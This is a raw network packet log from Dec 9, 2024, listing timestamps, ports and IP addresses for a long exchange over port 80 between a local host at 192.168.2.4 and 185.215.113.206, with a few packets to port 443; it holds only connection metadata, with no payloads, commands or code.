Dec 9, 2024 20:27:37.095640898 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.096605062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.096658945 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.096682072 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.096728086 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.097569942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.097583055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.097626925 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.098541975 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.098608971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.098613977 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.098670006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.099529982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.099582911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.099634886 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.099687099 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.100645065 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.100713968 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.100730896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.100775957 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.101643085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.101655006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.101706982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.102493048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.102545977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.102610111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.102658987 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.103512049 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.103564024 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.103605032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.103653908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.104532003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.104542971 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.104592085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.105576038 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.105626106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.105679035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.105726004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.106518030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.106530905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.106575012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.107558966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.107615948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.107949972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.108001947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.108624935 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.108675957 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.108867884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.108917952 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.109571934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.109622955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.109731913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.109781981 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.110534906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.110589027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.110594034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.110635996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.111569881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.111610889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.111630917 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.111643076 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.112560034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.112571955 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.112621069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.113490105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.113554001 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.113610983 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.113655090 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.114486933 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.114545107 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.114573956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.114624977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.115509987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.115585089 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.115608931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.115649939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.116503000 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.116554976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.116584063 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.116624117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.117500067 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.117559910 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.117643118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.117691994 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.118463993 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.118527889 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.118624926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.118674994 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.283220053 CET	49748	443	192.168.2.4	142.250.181.68
Dec 9, 2024 20:27:37.283252954 CET	443	49748	142.250.181.68	192.168.2.4
Dec 9, 2024 20:27:37.313121080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.432775974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.754791021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.754820108 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.754934072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.754961014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.755023003 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.755064964 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.755139112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.755181074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.756133080 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.756201029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.756266117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.756315947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.757045031 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.757102013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.757252932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.757306099 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.758002996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.758061886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.758090019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.758131027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.759010077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.759057999 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.759133101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.759179115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.884845018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.884942055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.884985924 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.885056019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.885108948 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.885157108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.885200024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.885241032 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.886163950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.886210918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.886276960 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.886322021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.887418032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.887463093 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.887480974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.887522936 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.888353109 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.888396978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.888489008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.888533115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.889359951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.889414072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.889448881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.889494896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.890369892 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.890425920 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.890522957 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.890568972 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.891376972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.891428947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.891457081 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.891499996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.892203093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.892252922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.892357111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.892404079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.893187046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.893238068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.893251896 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.893290997 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.894246101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.894304037 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.894340992 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.894381046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:37.895173073 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:37.895258904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.013808012 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.013910055 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.013916016 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.013967991 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.014249086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.014300108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.014415026 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.014463902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.015294075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.015348911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.015357971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.015391111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.016319990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.016381025 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.016388893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.016432047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.017311096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.017369986 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.017401934 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.017450094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.018325090 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.018382072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.018438101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.018486977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.019331932 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.019397974 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.019467115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.019520044 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.020337105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.020397902 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.020474911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.020525932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.021258116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.021305084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.021321058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.021348953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.022296906 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.022355080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.022378922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.022428989 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.023242950 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.023300886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.023375034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.023427010 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.024264097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.024332047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.024348021 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.024388075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.025278091 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.025307894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.025338888 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.025363922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.026251078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.026309013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.026315928 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.026355982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.027297020 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.027354002 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.027393103 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.027439117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.029208899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.029225111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.029239893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.029272079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.029293060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.029331923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.029376984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.030406952 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.030421019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.030466080 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.031378984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.031423092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.031439066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.031466007 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.032246113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.032304049 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.032339096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.032381058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.033312082 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.033339024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.033374071 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.033396006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.034286976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.034349918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.034414053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.034465075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.035208941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.035259008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.143256903 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.143340111 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.143393040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.143440962 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.143502951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.143548965 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.143675089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.143722057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.144509077 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.144555092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.144593954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.144634008 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.145539045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.145587921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.145668030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.146023035 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.146519899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.146568060 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.146594048 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.146634102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.147550106 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.147628069 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.147660971 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.147711039 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.148587942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.148647070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.148679972 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.148715019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.149528027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.149594069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.149633884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.149677038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.150487900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.150537014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.150579929 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.150621891 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.151484966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.151549101 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.151550055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.151595116 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.152492046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.152540922 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.152635098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.152678013 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.153564930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.153621912 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.153657913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.153707027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.154520988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.154575109 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.154597998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.154634953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.155519962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.155584097 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.155643940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.155687094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.156510115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.156557083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.156645060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.156691074 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.157521009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.157572985 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.157599926 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.157641888 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.158683062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.158726931 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.158732891 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.158785105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.159631014 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.159684896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.159769058 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.159816980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.160732985 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.160787106 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.160904884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.160965919 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.162082911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.162133932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.162166119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.162218094 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.163101912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.163152933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.163176060 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.163250923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.164047956 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.164099932 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.164290905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.164347887 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:38.164904118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:38.164999008 CET	80	49740	185.215.113.206	192.168.2.4
